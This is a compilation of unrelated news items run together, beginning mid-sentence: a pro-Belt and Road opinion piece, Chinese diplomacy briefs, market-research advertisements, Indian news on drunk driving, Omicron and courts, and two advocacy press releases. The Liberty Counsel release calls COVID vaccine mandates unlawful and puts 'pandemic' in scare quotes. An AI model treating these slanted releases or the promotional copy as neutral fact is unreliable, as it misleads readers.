transform itself from a landlocked nation to a land-linked hub. Since the Belt and Road Initiative was proposed eight years ago, almost 140 countries and 32 international organizations have so far signed around 200 cooperation agreements with China on the joint construction of the initiative. From initial concepts to extensive practice, the BRI has played a crucial role in enhancing the inclusive growth across participating countries and supported regional integration by bridging the infrastructure gap between cities, creating new job opportunities, reducing logistics costs for businesses, and promoting trade cooperation. Last year, the trade volume of goods between China and the countries along the Belt and Road reached $1.35 trillion, accounting for 29.1% of China's total foreign trade. In 2020, the total number of China-Europe freight trains and freight volume expanded by 50% and 56% year-on-year, respectively, despite the challenges posed by the COVID-19 pandemic. Trade volume between China and ASEAN countries last year hit 4.74 trillion yuan, and was boosted significantly by BRI cooperation. The BRI has also boosted economic growth in more than 20 major economies and almost every region of the world, and significantly promoted global growth, according to a 2019 report by global economic consultant Cebr, which estimates that BRI cooperation could increase global GDP by more than $7.1 trillion annually. Moreover, the World Bank predicted that the BRI, after all its projects are completed, will reduce travel times by 12% while increasing total trade from 2.7% to 9.7% in certain countries along its economic corridors. It also suggests that the income level in the countries along the BRI could increase by up to 3.4% and lift 7.6 million people out of extreme poverty. As the COVID-19 pandemic continues to ravage the world, economic and social stability measures are expected to help ease global challenges in light of rising unilateralism and political mistrust among nations. It is therefore imperative to increase people-to-people exchange and mutually beneficial trade cooperation in an environment of trust among countries. Global cooperation initiatives such as the BRI can play an even more crucial role to ensure countries across the globe have access to an equal platform to improve infrastructure connectivity, financial and trade cooperation, and people-to-people cooperation. Rachana Gupta is a blogger, poet, and freelancer. She is the author of the book "To The Horizon We Indeed Sail." Opinion articles reflect the views of their authors, not necessarily those of China.org.cn. If you would like to contribute, please contact us at opinion@china.org.cn. Flash Chinese President Xi Jinping will meet with Russian President Vladimir Putin via video link on Wednesday, another virtual conference this year following the one in June. Since the beginning of this year, China and Russia have taken the celebration of the 20th anniversary of the signing of the China-Russia Treaty of Good-neighborliness and Friendly Cooperation as a new starting point to promote strategic coordination and comprehensive practical cooperation between the two countries. A series of new achievements have been made in the fields of politics, economy and trade, science and technology, energy and the military. The heads of state have maintained frequent and close contacts in 2021. In May, Xi and Putin witnessed the ground-breaking ceremony of a bilateral nuclear energy cooperation project via video link. In June, the presidents met via video link to jointly announce the extension of the China-Russia Treaty of Good-Neighborliness and Friendly Cooperation. In July, Xi sent a message of condolence to Putin over the crash of a Russian passenger plane. In August, the leaders held a phone conversation to discuss bilateral ties and the Afghan situation. With China being Russia's top trading partner for many consecutive years, their bilateral trade exceeded 100 billion U.S. dollars in 2018 for the first time and has maintained the momentum despite the COVID-19 pandemic. In the first 10 months of this year, China-Russia trade in goods reached a record of 115.6 billion dollars, topping the whole-year volume of 2020, official statistics showed. In March, China and Russia signed a memorandum of understanding on jointly establishing an international scientific research station on the moon. The China-Russia Year of Scientific and Technological Innovation concluded last month, which saw more than 1,000 events for exchanges on scientific innovation and cooperation. The No. 7 and No. 8 units of the Tianwan nuclear power plant and the No. 3 and No. 4 units of the Xudapu nuclear power plant started construction in May, which are the biggest China-Russia joint project in the field of nuclear energy. A joint military exercise between China and Russia, named ZAPAD/INTERACTION-2021, was carried out in northwest China. The two navies conducted their first joint maritime cruise, and the two air forces carried out their third joint strategic aerial patrol. The two militaries strengthened coordination via participating in the "Peace Mission 2021" counter-terrorism military drill of the Shanghai Cooperation Organization member states and the International Army Games 2021. As comprehensive strategic partners of coordination for a new era, China and Russia firmly support each other on major issues concerning each other's core interests, coordinate closely on international affairs, and play a pivotal role in maintaining global peace and stability, Chinese Ambassador to Russia Zhang Hanhui has said. Flash China and Moldova underscored deeper ties in a virtual meeting between Li Zhanshu, chairman of the National People's Congress (NPC) Standing Committee, and parliament speaker of the Eastern European country Igor Grosu Tuesday. Noting the traditional friendship and cooperation between China and Moldova, Li said that since the establishment of diplomatic ties, the two sides have always adhered to equality, trust and mutual support and pushed for the sustained and steady development of relations on a sound track. He said that 2022 marks the 30th anniversary of diplomatic ties between China and Moldova. Beijing is ready to work with Moldova to mark the occasion and push for better development of ties in the new era. Li pointed out that the two countries should strengthen political support for each other and continue to work together to fight the pandemic. The two countries should also expand cooperation and deepen people-to-people and cultural exchanges, Li said. Li stressed that the legislatures of China and Moldova have maintained sound exchanges. The NPC of China is ready to further strengthen cooperation with the Moldovan Parliament and contribute to the sustained and sound development of bilateral relations. China hoped that the two legislatures will maintain high-level exchanges and strengthen exchanges between special committees, friendship groups, said Li, adding that the two legislatures should learn from each other's experience in legislation, supervision and governance, and promptly approve, revise or issue legal documents conducive to the development of relations. According to Li, the two legislatures should strengthen coordination and cooperation during multilateral events such as the Inter-Parliamentary Union. Grosu said Moldova-China relations have maintained a development momentum. Since Moldova's independence, China has supported the European nation in many ways. He thanked China for the assistance in the face of the COVID-19 pandemic, and said that Moldova is willing to strengthen friendly exchanges between the legislatures of the two countries, promote practical cooperation in various fields and fully tap the potential of cooperation for the benefit of the two countries and their people. Flash Fiji on Tuesday received a batch of materials in assistance offered by China to help the South Pacific island nation weather its cyclone season which runs annually between November and April. The assistance items include electricity generators, water purifiers, first aid kits, sanitary napkins, non-woven bags, and solar lamps, among others. The donation is from All-China Women's Federation (ACWF) to Fiji's Ministry of Women, Children and Poverty Alleviation. At a handover ceremony held in Suva, Fiji, on Tuesday, Chinese Ambassador to Fiji, Qian Bo, said that as a good friend and strategic partner, China always supports Fiji in its difficult times, citing timely donations in disaster relief in the wake of tropical cyclones Yasa in 2020 and Ana in 2021. Various Chinese communities, organizations and enterprises in Fiji have joined the local societies in their rebuilding efforts after tropical cyclones, Qian added. He said China will continue to support Fiji in its efforts to accelerate response to COVID-19 outbreaks, achieve sustainable and resilient economic recovery and address climate challenges. On the same occasion, Fiji's Assistant Minister for Women, Children and Poverty Alleviation, Veena Bhatnagar, thanked China, especially the All-China Women's Federation, for the donation to help Fiji gear up for the cyclone season. She stressed the long-standing good relations between Fiji and China, saying China has provided support to her country for many times, especially when Fiji is faced with a crisis. In recent years, Fiji has been badly hit by tropical cyclones, which caused extensive damages. Fiji's meteorological authorities have forecast three tropical cyclones in the current cyclone season, with the first to come by late December and the other two possible severe cyclones. NEA Dumps Militant Board Member NEWS PROVIDED BY Catholic League Dec. 15, 2021 NEW YORK, Dec. 15, 2021 /Christian Newswire/ -- Catholic League president Bill Donohue comments on a happy ending to a serious issue involving the National Education Association: Last week, we emailed a letter I wrote to the president of the National Education Association, Rebecca S. Pringle, asking her to "terminate [Mollie Paige] Mumau's membership on the board of directors of the NEA." I did so after learning that Mumau had posted on Facebook a call to shoot Americans who refused, on religious grounds, to receive a vaccination. Mumau posted her vile comment on December 7. My letter to the NEA chief was emailed on December 8. On the day of Mumaus post, she was listed on the website of the NEA as a board member. We checked today and she no longer is. We pursued this issue after learning from an online news outlet, andmagazine.com, that Mumau was no longer employed by McLane High School in Erie, Pennsylvania. We called the school today to verify this account and found that it was accurate. If she is no longer employed by the school district, then it stands to reason that she cannot serve on the NEA's board of directors; she has no standing in education. This is a great victory. "There is no legitimate place in public life for anyone who advocates the mass slaughter of innocent Americans," I said to Pringle, "and it is doubly offensive that it should emanate from a teacher." We did more than write to the president of the NEA. We contacted the NEA Executive Committee, the Executive Officers of the Pennsylvania State Education Association, the Superintendent of the McLane School District, and the Erie County District Attorney. We also asked our email subscribers to contact the NEA, providing them with an email address. They made it happen. We are very proud of them. Cheers everyone! At least some measure of justice has been done. SOURCE Catholic League CONTACT: 212-371-3191, pr@catholicleague.org Amtrak Reverses Course from Shot Mandate NEWS PROVIDED BY Liberty Counsel Dec. 15, 2021 ORLANDO, Fla., Dec. 15, 2021 /Christian Newswire/ -- Amtrak has suspended its COVID-19 shot mandate for employees in order to avoid service interruptions and allow the passenger trains to operate as scheduled. The rail company was previously requiring a mandate to take effect on January 4 even though the company admitted that losing hundreds of employees would have caused the rail operator to alter its service for months. About six percent of the railroad's workforce could have been terminated for not receiving the injection. As a result, Amtrak could be forced to reduce train service in January even as the company tries to recover from the previous year's Coronavirus "pandemic" when service plummeted by 97 percent. However, the states of Georgia, Alabama, Indiana, Kansas, South Carolina, Utah and West Virginia, the governors of several of those states, and various state agencies, including the Board of Regents of the University System of Georgia, filed a lawsuit seeking relief against Biden's executive order which requires that contractors and subcontractors performing work on certain federal contracts ensure that their employees and others working in connection with the federal contracts receive all the COVID shots. Last week, a federal judge issued a nationwide injunction blocking the unlawful shot mandates from going into effect against federal contractors. Amtrak Chief Executive Bill Flynn said the court decision "caused the company to reevaluate our policy and to address the uncertainty about the federal requirements that apply to Amtrak." Now the rail company will require weekly testing as an alternative to the shot for workers. "After reviewing our system service plans in light of these changes, we do not anticipate having system-wide service impacts in January," Flynn said. Liberty Counsel has provided consultation to US Freedom Flyers, a group of approximately 35,000 transportation industry employees, to inform its members of their legal rights under the federal Emergency Use Authorization law, Title VII, and other applicable state and federal laws. US Freedom Flyers currently includes employees of all travel and transportation-affiliated industries, including pilots, flight attendants, mechanics, dispatchers, gate agents, and rampers. There are employees of 26 airlines, including five airlines -- Allegiant, Omni Air Cargo, American Airlines, Jet Blue and Alaska Airlines -- that currently have shot mandates. Amtrak, Boeing and Lockheed Martin are also some of the companies included in this organization. Liberty Counsel Founder and Chairman Mat Staver said, "Amtrak had to back off the shot mandate because it would have lost so many workers. No one should be forced to inject the COVID shots in their bodies against their will and many of these transportation employees will not comply with these unlawful mandates." Liberty Counsel provides broadcast quality TV interviews via Hi-Def Skype and LTN at no cost. SOURCE Liberty Counsel CONTACT: Mat Staver, 407-875-1776, Liberty@LC.org Related Links lc.org/ Pharmacogenomics Market Research Report, By Technology (Microarray, Sequencing, Polymerase Chain Reaction) By Application (Cardiology, Neurological Disorders) By End Users (Hospitals, Research Organizations, Academic Institute) -Forecast till 2027 The global pharmacogenomics market is expected to grow at a ~ CAGR of 5.8% during the forecasted period, Get PDF Sample Copy of Report @ https://www.marketresearchfuture.com/sample_request/1177 Drivers and Constraints Impacting the Market With the growing prevalence of various infectious and non-infectious diseases, growing demand for personalized drugs, increasing usage in drug discovery process, and increasing awareness about the benefits of pharmacogenomics are stimulating the market during the assessment period. Pharmacogenomics offers effective treatment therapeutics which is both reliable and safe. Thus, increasing awareness about its benefits is anticipated to augment the market growth in the coming years. Also, innovation and rapid advancements of new healthcare technologies such as High Throughput Screening (HTS), next-generation sequencing, and Digital Polymerase Chain Reaction (PCR) are further influencing the market growth. On the flip side, lack of consistency in pharmacogenomics and lack of awareness are some of the key factors considered to impede the market growth in the coming years. Latest Industry Updates October 31, 2018: The U.S. Food and Drug Administration has recently announced that they have approved the marketing of 23andMes reports on pharmacogenetics. The genetic-testing company claims are designed to assess whether the genetics will affect an individuals ability to metabolize certain drugs which include antidepressants. Nov 2017: Myriad Genetics, Inc., announced positive results from a double-blind, multi-center, randomized controlled trial assessing the impact of the GeneSight Psychotropic test (GeneSight) on psychiatric treatment response in 1,200 patients with major depressive disorder. GeneSight is one of the leading pharmacogenomics test to help guide medication selection for mental health disorders. Global Pharmacogenomics Market Competitive Analysis Pharmacogenomics in recent years has used a new generation of technology approaches that has led to a revolution in the understanding of disease susceptibility and pathophysiology, providing enormous potential for novel therapeutic strategies. However, with companies aiming to capture a considerable share of the market segment as early as possible, they are competing and experimenting with various advantage points. The best long-term growth opportunities for this sector can be captured by ensuring ongoing process improvements and financial flexibility to invest in the best strategies. The noteworthy players operating the global market are Teva Pharmaceutical Industries Ltd. (Israel), Assurex Health Inc. (U.S.), Future Science Group (U.S.), Pathway Genomics (U.S.), Myriad Genetics Inc. (U.S.), GeneDx. (U.S.), GeneTech (U.S.), 23andMe Inc. (U.S.), and others. Global Pharmacogenomics Market: Segmental Analysis The global pharmacogenomics market has been segmented on the basis of application, technology, end-user, and region. By mode of technology, the global pharmacogenomics market has been segmented into sequencing, microarray, polymerase chain reaction, and others. Among these, the sequencing segment has been sub-segmented into pyrosequencing, Sanger sequencing, next-generation sequencing, and others. By mode of application, the global pharmacogenomics market has been segmented into cardiology, oncology, neurological disorders, and others. Among these, the oncology segment has been sub-segmented into lung cancer, breast cancer, and others. By mode of end-users, the global pharmacogenomics market has been segmented into research organizations, hospitals, academic institute, and others. Regional Analysis of Pharmacogenomics Market Geographically, the pharmacogenomics market span across regions namely, Europe, America, Asia Pacific, and the Middle East and Africa. The American region is considered to dominate the global pharmacogenomics market and is estimated to maintain its dominance during the assessment period. The growth is attributed to the presence of developed countries such as Canada and the US along with a well-developed healthcare sector. Also, growing number of patients suffering from cardiovascular diseases have stimulated the growth of the market in this region. The European region is considered to be the second largest market owing to the availability of funds for research and development activities. Moreover, the presence of huge patient population is influencing the market positively. With the presence of developed countries such as France and Germany, the market is likely to flourish during the review period. Asia Pacific is the fastest growing region owing to the continuously developing economies such as China and India and presence of huge patient population. Meanwhile, the Middle East and Africa hold the least share owing to the presence of poor economy, strict government policies, and low per capita healthcare expenditure in this region. Browse Complete Report @ https://www.marketresearchfuture.com/reports/pharmacogenomics-market-1177 About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Statistical Report, Continuous-Feed Research (CFR), and Market Research & Consulting Services. The Global Building And Construction Plastics Market Report, with its deep industry analysis of the market, estimates the market size bifurcated into segments and regions. The Building And Construction Plastics market share and growth, trends estimated at the end of 2027 give a fair idea of the new opportunities coming up in the market. The detailed key players profile and market share analysis give a better understanding of the competitors and their business strategies. Base Year: 2020 Estimated Year: 2021 Forecast Till: 2027 The report classifies the market into different segments based on type and product. These segments are studied in detail, incorporating the market estimates and forecasts at regional and country levels. The segment analysis is helpful in understanding the growth areas and potential opportunities of the market. Get | Download FREE Sample Report of Global Building And Construction Plastics Market @ https://www.decisiondatabases.com/contact/download-sample-10296 A special section is dedicated to the analysis of the impact of the COVID-19 pandemic on the growth of the Building And Construction Plastics market. The impact is closely studied in terms of production, import, export, and supply. The report covers the complete competitive landscape of the Worldwide Building And Construction Plastics market with company profiles of key players such as: Arkema SA Asahi Kasei Corporation BASF SE Borealis AG E. I. du Pont de Nemours and Company Formosa Plastic Group PetroChina Co. Ltd. Reliance Industries Limited Solvay SA The Dow Chemical Company Want to add more Company Profiles to the Report? Write your Customized Requirements to us @ https://www.decisiondatabases.com/contact/get-custom-research-10296 Building And Construction Plastics Market Analysis by Product: Polyvinyl Chloride (PVC) Polystyrene (PS) Acrylics Polyurethanes (PU) Thermoplastics Elastomers (TPE) Composite Materials Other Building & Construction Plastics (PET, ABS, PP, PE, etc.) Building And Construction Plastics Market Analysis by Applications: Pipes & Ducts Insulation Door fittings Others (Cladding, Roofing, Water Proofing etc.) Building And Construction Plastics Market Analysis by Geography: North America (USA, Canada, and Mexico) (USA, Canada, and Mexico) Europe (Germany, UK, France, Italy, Russia, Spain, Rest of Europe) (Germany, UK, France, Italy, Russia, Spain, Rest of Europe) Asia Pacific (China, India, Japan, South Korea, Australia, South-East Asia, Rest of Asia-Pacific) (China, India, Japan, South Korea, Australia, South-East Asia, Rest of Asia-Pacific) Latin America (Brazil, Argentina, Peru, Chile, Rest of Latin America) (Brazil, Argentina, Peru, Chile, Rest of Latin America) The Middle East and Africa (Saudi Arabia, UAE, Israel, South Africa, Rest of the Middle East and Africa) Key questions answered in the report: What is the expected growth of the Building And Construction Plastics market between 2022 to 2027? Which application and type segment holds the maximum share in the Global Building And Construction Plastics market? Which regional Building And Construction Plastics market shows the highest growth CAGR between 2022 to 2027? What are the opportunities and challenges currently faced by the Building And Construction Plastics market? Who are the leading market players and what are their Strengths, Weakness, Opportunities, and Threats (SWOT)? What business strategies are the competitors considering to stay in the Building And Construction Plastics market? Purchase the Complete Global Building And Construction Plastics Market Research Report @ https://www.decisiondatabases.com/contact/buy-now-10296 About Us: is a global business research report provider, enriching decision-makers, and strategists with qualitative statistics. is proficient in providing syndicated research reports, customized research reports, company profiles, and industry databases across multiple domains. Our expert research analysts have been trained to map clients research requirements to the correct research resource leading to a distinctive edge over its competitors. We provide intellectual, precise, and meaningful data at a lightning speed. For more details: E-Mail: sales@ Phone: +91 90 28 057900 Web: https://www.decisiondatabases.com/ Arteriovenous Malformation Market research report: by type (true arteriovenous malformation), diagnosis (physical examination, brain scans) treatment (endovascular embolization, neurosurgery), end user (hospitals & clinics) - Forecast till 2027 The arteriovenous malformation market is expected to grow at a CAGR of ~6.10% during the forecast period 2017-2027. Request Sample Copy: https://www.marketresearchfuture.com/sample_request/5092 Over the last decade, the number of hospitals has increased to a great extent, which has influenced the growth of the market positively. Moreover, increasing demand for better treatment and changing reimbursement policies have fueled the market growth. The global arteriovenous malformation market is expected to grow at a CAGR of ~6.1% during the forecast period 2017-2023. Regional Analysis The Americas dominate the global Arteriovenous Malformation Treatment Market owing to the presence of huge patient population, high health care spending, and increasing government support for research & development. Europe holds the second largest share of the global market. The increasing focus of various government agencies on treating various brain disorders or brain injuries such as epilepsy and depression will have a positive impact on the growth of the market. The growing public awareness will boost the adoption of these devices in the European market. Asia Pacific is the fastest growing arteriovenous malformation market across the globe. Japan holds a major share of the regional market due to availability of technology and huge healthcare spending. Rapidly developing economy, increasing healthcare expenditure, and government initiatives for research & development will drive the market in China and India over the assessment period. Segmentation The global arteriovenous malformation market is segmented on the basis of types, diagnosis, treatment, and end user. On the basis of types, it is segmented into true arteriovenous malformation, occult or cryptic AVM or cavernous malformations, venous malformation, hemangioma, and dural fistula. On the basis of diagnosis, it is segmented into physical examination, blood test, brain scans, and others. Brain scan is further segmented into computerized tomography (CT) scan, Magnetic Resonance Imaging (MRI), magnetic resonance angiography (MRA), and electroencephalography (EEG). On the basis of treatment, the market is segmented into endovascular embolization, neurosurgery and others. On the basis of the end user, it is segmented into hospitals & clinics, research laboratories and others. Key Players Some of key the players in the market are Toshiba Medical Systems Corporation (Japan), Carestream Health (U.S.), Nihon Kohden Corporation (Japan), Electrical Geodesics Inc. (U.S.), Fujifilm Holdings (Japan), GE Healthcare (U.S.), Siemens Healthcare(U.S.), Philips Healthcare (U.S.), Shimadzu Corporation (Japan), Masimo Corporation (U.S.), Hologic (U.S.), Esaote (Italy), and others. Browse Full Report @ https://www.marketresearchfuture.com/reports/arteriovenous-malformation-market-5092 NOTE: Our team of researchers are studying Covid19 and its impact on various industry verticals and wherever required we will be considering covid19 footprints for a better analysis of markets and industries. Cordially get in touch for more details. About Market Research Future: At Market Research Future (MRFR), we enable our customers to unravel the complexity of various industries through our Cooked Research Report (CRR), Half-Cooked Research Reports (HCRR), Raw Research Reports (3R), Continuous-Feed Research (CFR), and Market Research & Consulting Services. The RBI had formed a Depositor Education and Awareness Fund (DEAF) Scheme in 2014. Banks calculate the cumulative balances in all accounts which are inoperative for 10 years or more or any amount remaining un-claimed for 10 years or more, along with interest accrued, and transfer the money to the DEAF. DC file image Chennai: Financial institutions hold Rs 51,571 crore as unclaimed amount of customers as of December 2020. The institutions include commercial banks, urban co-operative banks, insurance companies and mutual funds. As per RBI data, as on December 31, 2020, the total number of accounts which have not been operated for 10 years in scheduled commercial banks was 8.13 crore and the amount of deposits in such accounts was Rs 24,356 crore, finance minister Nirmala Sitharaman informed the Rajya Sabha. Similarly, the number of accounts not operated for more than 10 years and the amount in such accounts with urban co-operative banks was 77 lakh and Rs 2,341 crore, respectively, till the end of 2020. As per the Insurance Regulatory and Development Authority of India, the total amount of unclaimed deposits in life insurance companies was Rs 22,043 crore and the total amount of unclaimed deposits in non-life insurance companies was Rs 1,241 crore. According to the Securities and Exchange Board of India, the amount lying unclaimed with mutual funds was Rs 1,590.67 crore. This comprises Rs 671 crore towards unclaimed rede-mption and Rs 918 crore towards unclaimed dividend. The RBI had formed a Depositor Education and Awareness Fund (DEAF) Scheme in 2014. Banks calculate the cumulative balances in all accounts which are inoperative for 10 years or more or any amount remaining un-claimed for 10 years or more, along with interest accrued, and transfer the money to the DEAF. The DEAF is utilised for promotion of depositors interests and similar purposes. In case of demand from a customer whose deposit had been transferred to the DEAF, banks are required to repay the customer, along with interestand lodge a claim for refund from the DEAF. Driving under the influence of alcohol at mind boggling speeds and running over people with their SUVs have become a frequent norm of road accidents in India. Each time such accidents take place, police arrest and send the accused to jail and step-up checks for drunk driving for a time; netizens air their anger; and a blame game is initiated. But the best lawyers are engaged to ensure that the accused are released from jail as soon as possible and guards are dropped until another such incident shocks the nation. Hyderabad once again woke up to the news of the horrific accident wherein a 25 year old Rohit Goud and his gang of friends went pub-hopping recently, and Rohit, high on alcohol, took the wheel of his swanky Porsche Cayene and reportedly drove at high speed right into two workers, killing them instantly. Similarly, on August 1, Friendship Day, youngsters dressed in their best were out celebrating, taking advantage of the great deals on liquor offered by pubs and other watering holes. Among them was D Ashritha. After partying hard, she was returning home in a car with her friends. One of them, Abhishek, who was allegedly in a drunken condition, was behind the wheel and the vehicle crashed into roadside boulders. Ashritha died, while others escaped with minor injuries. Abhishek was charged with culpable homicide not amounting to murder. Extended responsibility Is the person who is driving under the influence of alcohol alone responsible for such mishaps? Do parents have a responsibility if their child causes an accident after excessive consumption of liquor? Should they be charged by the police too? What about the pubs, which, in the interests of their business, continue to serve customers even though fully aware that they are in no position to drive? Should they be charged for abetting accidents, and their licenses cancelled? Does society have a role to play in such mishaps? Recently, a jury in Texas awarded the largest ever personal injury compensation in that country to a family who lost two members in an accident caused by drunk driving. Tamra Kay Kindred and her 16-year-old granddaughter were hit by a man high on alcohol. The lawsuit named the bar and its owner was sued for negligence. Suppliers as abettors? In India, fixing of extended responsibility is yet to happen. As long as a vehicle driver is a major, legally there is nothing we can do either against the parents or the pub/bar owners, says A R Srinivas, DCP, West Zone, Hyderabad, where the Rohit Goud incident happened. The IPS officer however says bar and pub owners are regularly counselled to promote valet driving and prevent drunk driving. But if the person behind the wheel is a minor, both parents and the pubs are responsible and accountable, he clarifies. A matter of individual choice Amit Gulabani, who owns a franchise of a US-based pub Hard Rock Cafe in Hyderabad, insists that those serving alcohol are in no way responsible for the actions of those consuming it. We, at HRC, dont encourage our guests to drink and drive and never will, he asserts. However, Driving under the influence of alcohol is one of the most preventable crimes, but it starts with a choice, he says, and feels it would be unfair to hold the restaurant responsible for serving drinks. Parenting points Senior IPS officer Shikha Goel feels it is part of parenting to instil values and respect for law in children. A mother of two, the IPS officer who is Additional Commissioner of Police (Crimes), Hyderabad City Police, says, It is the job of society as a whole, including parents, teachers, media and the police, to ensure that rules are respected. Children should be made aware of the consequences of their choices and behaviour, she says. Shahbaz Hussain, owner of Button Eyes Resort, also feels that parents play an important role in counselling their kids. The 20+ kids should understand that their future is at stake if cases are booked against them. In fact, police teams with psychologists should go to colleges and explain the perils of drunken driving, he suggests. Family involvement Typically, the role of the police in road accidents involving drunk driving is limited to shifting the victim's body to the morgue and arresting the person behind the wheel after gathering evidence from either eye-witnesses or CCTVs. The investigation does not include the pubs/bars involved, or the parents and relatives of the accused. A police official who requested not to be named, however, points out that the uncontrolled drinking tendencies of people are usually known to their parents and/or spouses, and just because a person is an adult, families cannot absolve themselves of responsibility for that persons irresponsible behaviour. Matters of state In the Rohit Goud case, the bartender has abetted drunk driving, which ended up in the horrific deaths of the two people, says former MP Konda Vishveshwar Reddy. Pointing out that instances of drunk driving happen after parties as well, he feels hosts of these parties should also be held guilty of abetment. Making a political point, he says, Most importantly, the State Government which is encouraging drinking by opening liquor shops everywhere can also be construed to be abetting the crime of drunk driving. The State should stop encouraging alcohol sales, regardless of how much additional revenues it brings. It is a moral responsibility of the government, he says. According to Vishveshwar Reddy, Alcohol sales in Telangana increased 300% after the state was formed. What the law says Shraddha Gupta, senior advocate, talks about what the law says in this regard: Causing hurt, injury, death etc. on account of rash and unauthorized driving are punishable under the Motor Vehicles Act and the Indian Penal Code. In view of the increased rate of accidents by under-age drivers, the Motor Vehicles Act was amended in 2019 to and a section included, saying that where an offence under this Act has been committed by a juvenile, the parents/guardian are to be held accountable for the actions of their children to the extent that they can be imprisoned, fined up to `25,000 and run the risk of cancellation of registration of the vehicle involved. The aim was to alert guardians to be cautious in permitting their under-age children to drive vehicles. Though there is limited awareness of this change in the law, there has indeed been a decline in the rate of road accidents caused by minors after the amendment was made, she says. TIMELINE Dec 7 Two migrants, from Uttar Pradesh and Odisha, died on the spot when a Porsche ran over them in Hyderabad's Banjara Hills. Dec 12 Three youngsters died and their friend suffered severe injuries, after the KIA Seltos car crashed a stationary trailer truck near Bowrampet under Cyberabads Dundigal Police station limits in the wee hours of December 12. Sept 1 Seven people, including the son of Hosur MLA Prakash Y of the DMK, were killed after the speeding Audi-Q3 they were in climbed on to the pavement and hit a building housing in Bengaluru June 27 One person was killed near Cyberabads Inorbit Mall in Hyderabad on June 27 after a speeding Audi car hit an auto-rickshaw on its route. The police said it was reckless speed and drunk driving. March 21 An 18-year old rammed his Mercedes AMG GLE Coupe into a Maruti Suzuki Ertiga and two cycles, killing three and injuring three more Mohali, Punjab. A health worker takes a nasal swab sample of a woman as others wait to get tested for COVID-19 in Hyderabad. (Photo: AP) Hyderabad: A woman who arrived at the international airport here from Britain last week was on Monday found negative for the new coronavirus variant, Omicron. The 35-year old woman had tested positive for COVID-19 in the RT-PCR test conducted at the airport upon her arrival. She was admitted to the state-run Telangana Institute of Medical Sciences (TIMS) here for institutional quarantine and treatment after she was diagnosed with COVID-19. Her samples were sent for genome sequencing to ascertain whether she was infected with the Omicron variant. The genome sequencing report showed her to be negative for Omicron, state Director of Public Health G Srinivasa Rao said on Monday. The genome sequencing results of 12 other international passengers who tested positive for COVID-19 after their arrival were awaited, he said. The state government has strengthened the testing mechanism at the Hyderabad international airport, among other measures, in the wake of 'Omicron' threat. RT-PCR tests are being conducted on passengers arriving from the 11 countries which have been declared at risk by the Centre. The court issued notices to the government directing it to respond within 4 weeks in the batch of writ petitions filed before it. (Representational Image/ PTI) Hyderabad: The Telangana High Court has refused to stay the operation of GOs 317 and 377 dated 6 December 2021, on allotment of staff to New Local Cadres Guidelines ie, allotment of persons holding posts that are required to be organized into local cadres. The state has taken up an exercise to reshuffle practically the entire lot of 2.50 lakh employees as per the brand new zonal system within the state. The division bench comprising Chief Justice Satish Sharma and Justice Tukaramji made it clear on Tuesday that it would not issue any interim order without hearing the state government`s contention. The court issued notices to the government directing it to respond within 4 weeks in the batch of writ petitions filed before it. The bench was dealing with the batch of writ petitions filed by 226 teachers, secondary grade teachers and school assistants working in various government ZPP and MPP high schools scattered in different districts like Ranga Reddy, Khammam, Warangal etc, challenging the decision of the Telangana government in building the local cadre in respect of the posts under state government, to be organised with the posts of district cadre. Petitioners submitted that the GOs defected the principle behind Article 371-D of the Constitution and the Presidential orders. They submitted that they will be deprived of equitable opportunities as the erstwhile 10 districts were allowed to retain their previous status without being bifurcated. They also submitted that, with the GO 317, the Status of Local Candidate lost its significance and more weight was given to seniority in the matter of allotment. Counsel for the petitioners urged the court to keep the GOs in abeyance. However, the court did not agree to this and said it would issue directions and the allotments will be subject to the final outcome in the writ petitions. Chennai: The Directorate of Vigilance and Anti Corruption on Wednesday held searches at different locations in Tamil Nadu linked to AIADMK former minister P Thangamani in connection with a disproportionate assets case, police said. The opposition party hit out at its rival, the ruling DMK, and alleged that the vigilance action was an attempt at preventing its supporters from actively working ahead of the urban local body polls and vowed to face any probe. The allegation against Thangamani, his wife and son, who also have been named in the FIR, was that he acquired a little over Rs 4.85 crore assets disproportionate to known sources of income during the check period of May 2016 to March 2020. The FIR was registered in Namakkal under sections of IPC and Prevention of Corruption Act, 1988. Thangamani held the Electricity and Prohibition and Excise portfolios in the previous AIADMK regime of 2016-21. He represents the Kumarapalayam Assembly constituency in the present House. Searches were being conducted by sleuths of the DVAC in a number of locations in different parts of the state including his native Namakkal, Salem, Chennai and Karur, police said. In some places, AIADMK supporters gathered outside where the searches were on and raised slogans against the DMK and police. Thangamani is the fifth former minister from the main opposition party in the state to come under the vigilance scanner over alleged disproportionate assets, with the others being MR Vijayabhaskar, SP Velumani, K C Veeramani and C Vijayabaskar. Reacting to the vigilance action, senior party leader K V Ramalingam alleged the former ministers have been 'targeted' over the past few months and said the AIADMK would not be cowed down by such actions. He alleged that instead of focussing on people's issues, the DMK "is trying to finish off AIADMK which will not happen." "This is a people's movement founded by MGR ( the late Chief Minister M G Ramachandran)," he told reporters. The searches were aimed at preventing the AIADMK workers from actively working actively ahead of the urban local body polls, he alleged. "The AIADMK is prepared to face any probe," he added. GHMC worker sanitizes the building premises where Omicron patients stayed. The officials also tested the neighbouring residents of Paramount colony near Tolichowki on Wednesday. (R. Pavan/DC) HYDERABAD: Telangana became the seventh state in the country to report Omicron cases with state health authorities reporting that they found three positive cases for the Covid variant among international travellers who arrived at the Rajiv Gandhi International Airport in the city on Wednesday. Those who tested positive for the Omicron variant arrived in the city on three different international flights on December 12. Between them, according to government authorities, the three flights were reported to have carried some 500 passengers and crew. While two of the Omicron cases were of a Kenyan woman, and a Somali man who were in the city for temporary residence, the third was that of a seven-year-old Indian who with family, transited through Hyderabad and flew to Kolkata after arriving in an international flight. All three cases of persons who arrived into the city from non-risk countries for the Omicron variant, resulting in serious concern among the health authorities over the possibility of more such cases from international air passengers who arrived from such nations into the city, or transited through the city. Director of public health and family welfare Dr G. Srinivasa Rao, addressing a hurriedly called press conference in the morning, told reporters that the woman from Kenya, a 24-year-old, was immediately shifted after receipt of her Omicron status report after genome sequencing was received late on Tuesday night. Two of her family were also shifted along with her from their residence in Paramount Hills Colony in the Tolichowki area, to the Telangana Institute of Medical Sciences at Gachibowli for testing and to keep them in isolation as potential Omicron variant carriers. The second case, that of a 23-year-old Somali man led to a chase by the police who formed special teams to trace him after he was reported missing from a private hospital in Somajiguda. His missing status was informed by the health officials to the city police, who, after a two-hour search in the city, located him in Paramount Hills Colony, after which he was taken to TIMS and admitted to the special Omicron ward in the hospital. Efforts were on to trace and track the movements of the contacts of both Omicron positive patients, Srinivasa Rao said. By afternoon, special health teams from the 